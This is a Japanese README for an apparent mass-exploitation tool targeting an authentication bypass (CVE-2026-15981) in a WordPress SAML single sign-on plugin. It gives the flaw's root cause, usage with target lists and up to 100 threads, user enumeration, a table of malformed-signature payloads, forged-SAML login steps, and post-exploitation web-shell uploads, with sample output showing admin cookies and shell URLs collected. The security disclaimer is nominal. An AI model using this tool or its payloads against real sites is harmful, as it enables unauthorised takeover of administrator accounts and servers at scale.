
SAML Single Sign On <= 5.4.4 - SAMLResponseパラメータを介した未認証の認証バイパス
SAML Single Sign On <= 5.4.4 - SAMLResponse パラメータによる未認証の認証回避
概念実証(PoC)エクスプロイト
不正な署名 → openssl_verify() が -1 を返す → PHP の弱い型変換で true と評価 → 管理者として wp_set_auth_cookie() が実行
WordPress 用プラグイン「SAML Single Sign On – SSO Login」は、5.4.4 までの全バージョンにおいて認証回避の脆弱性の影響を受けます。これは、mo_saml_validate_signature() 関数が PHP の openssl_verify() が返す三値の整数に対して**弱い真偽値チェック(loose boolean check)**を実行するためで、エラー時の戻り値 -1 が真(truthy)と評価され、署名検証が成功したものとして扱われてしまいます。
これにより、認証されていない攻撃者は、攻撃者が制御する NameID と、OpenSSL の処理エラーを引き起こすよう意図的に破壊された署名値を含む細工済み SAMLResponse を送信することで、管理者を含む任意の既存 WordPress ユーザーとしてログインできるようになります。検証は完全にバイパスされ、対象アカウントに対して wp_set_auth_cookie() が呼び出されます。
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
修正は簡単です — if ($result) の代わりに if ($result === 1) とするだけです — しかし、この欠陥の影響は完全な認証バイパスです。
?option=mosaml_metadata から Entity ID と ACS URL を抽出/wp-json/wp/v2/users)/?author=N)?option=saml_user_login のリダイレクトを追跡し、IdP のベース URL を抽出lxml による正しい Exclusive C14N 正規化</Issuer> の後の署名要素の挿入openssl_verify() = -1 を引き起こすよう設計された 12 以上の不正な署名ペイロードwordpress_logged_in_* クッキーを確認/wp-admin/、、 へのアクセスを検証Python >= 3.8
pip install requests lxml
SAML アサーションを正しく Exclusive C14N 正規化するには、
lxmlが必要です。
python CVE-2026-15981.py
以下の入力を求められます:
| プロンプト | 説明 | デフォルト |
|---|---|---|
| ターゲットファイル | 1行につき1ターゲットを記述したテキストファイルのパス | list.txt |
| スレッド数 | 同時実行ワーカー数(1〜100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
1行に1つの URL を指定します。スキームが指定されていない場合は、デフォルトで HTTP が使用されます。
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
各ターゲットは、ラベル付けされた 7 つのステージを順に進みます:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| ADMIN SESSION CONFIRMED |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
| ファイル | 内容 |
|---|---|
sms.txt | 確認された管理者セッションごとに1行 — タイムスタンプ、ターゲット、ユーザー、クッキー、シェル URL、発行者、署名方式 |
sms_debug.json | 全ターゲットの完全な診断 JSON — 試行回数と失敗の分類を含む |
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
============================================================
DONE - 142.3s
============================================================
ADMIN=3 miss=47 skip=100
results -> sms.txt debug -> sms_debug.json
============================================================
Target
│
├─ [1] WordPress Detection
│ └─ wp-login.php / wp-json / jQuery fingerprint
│
├─ [2] SAML Plugin Detection
│ ├─ readme.txt version check (≤ 5.4.4)
│ └─ SAML signature detection in HTML
│
├─ [3] SP Metadata Discovery
│ └─ ?option=mosaml_metadata → entityID + ACS URL
│
├─ [4] User Enumeration
│ ├─ REST API /wp/v2/users (bulk + per-ID)
│ ├─ Author archive redirect (/?author=N)
│ ├─ HTML body pattern matching
│ └─ Domain fallback + common admin names
│
├─ [5] IdP Issuer Discovery
│ ├─ ?option=saml_user_login redirect → IdP URL
│ └─ wp-login.php SAML link extraction
│
├─ [6] SAMLResponse Forgery & Delivery
│ │
│ │ For each (user × issuer × algorithm × signature × audience × SP ID):
│ │
│ ├─ Build SAML Assertion with attacker-controlled NameID
│ ├─ Canonicalize via Exclusive C14N (lxml)
│ ├─ Compute correct DigestValue for the Assertion
│ ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
│ ├─ Wrap in <samlp:Response>, Base64 encode
│ ├─ POST SAMLResponse to ACS URL
│ ├─ Check for wordpress_logged_in_* cookie
│ ├─ If cookie found → verify admin role via wp-admin
│ └─ Classify failure via diagnostic engine
│
└─ [7] Post-Exploitation (on admin session)
├─ M1: Plugin ZIP upload + activation
├─ M2: REST API plugin upload
├─ M3: Theme/Plugin editor file write
├─ M4: Media async upload
└─ Shell execution verification (Nx-zD signature)
このエクスプロイトには、openssl_verify() = -1 を引き起こすよう特別に設計された 12 以上の署名ペイロードが同梱されています:
各ペイロードは SHA-1 と SHA-256 のアルゴリズム URI と組み合わされ、Audience 制限の有無、さらに複数の SP Entity ID にわたってテストされるため、どの OpenSSL バージョンでも -1 の戻り値経路に到達する可能性が最大化されます。
このツールは、許可されたセキュリティテストおよび教育目的の研究専用に提供されます。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。
コンピュータシステムへの不正アクセスは犯罪行為です。作者は、本ソフトウェアの使用に起因する誤用、損害、またはいかなる法的結果についても一切の責任を負いません。お住まいの地域のすべての該当法令および規制の遵守を確保する責任は、利用者自身にあります。
By: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2026-15981 |
| 影響を受けるプラグイン | miniOrange SAML 2.0 Single Sign On – SSO Login(WordPress) |
| 影響を受けるバージョン | 5.4.4 までの全バージョン |
| 種別 | 未認証の認証回避 |
| CWE | CWE-287: 不適切な認証 / CWE-305: 根本的欠陥による認証回避 |
| CVSS 3.1 | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 認証 | 不要 |
/wp-admin/users.php/wp-admin/plugins.php/wp-admin/profile.php からユーザー名とメールアドレスを読み取りplugin-install.php 経由のプラグイン ZIP アップロード/wp-json/wp/v2/plugins 経由の REST API プラグインアップロードNx-zD シグネチャを確認| ペイロード | 説明 |
|---|
0xFF * 256 | 256 バイトの 0xFF — 無効な PKCS#1 パディング |
0xFF * 384 | RSA-3072 鍵サイズ用の 384 バイト |
0xFF * 512 | RSA-4096 鍵サイズ用の 512 バイト |
0xFF * 128 | より小さい鍵サイズ用の短いバッファ |
0xFF * 64 | 最小限の無効なパディング |
0x00 0x01 0xFF*254 | PKCS#1 v1.5 のように見えるが構造が正しくない |
0x00 0x01 0xFF*126 | より短い PKCS#1 類似構造 |
null_2B | ヌルに隣接する 2 バイト |
rand_3B / rand_7B | ランダムバイト — パースエラーを誘発 |
asn1_bad | 不正な ASN.1 DER シーケンス |
ff_1B | 単一の 0xFF バイト |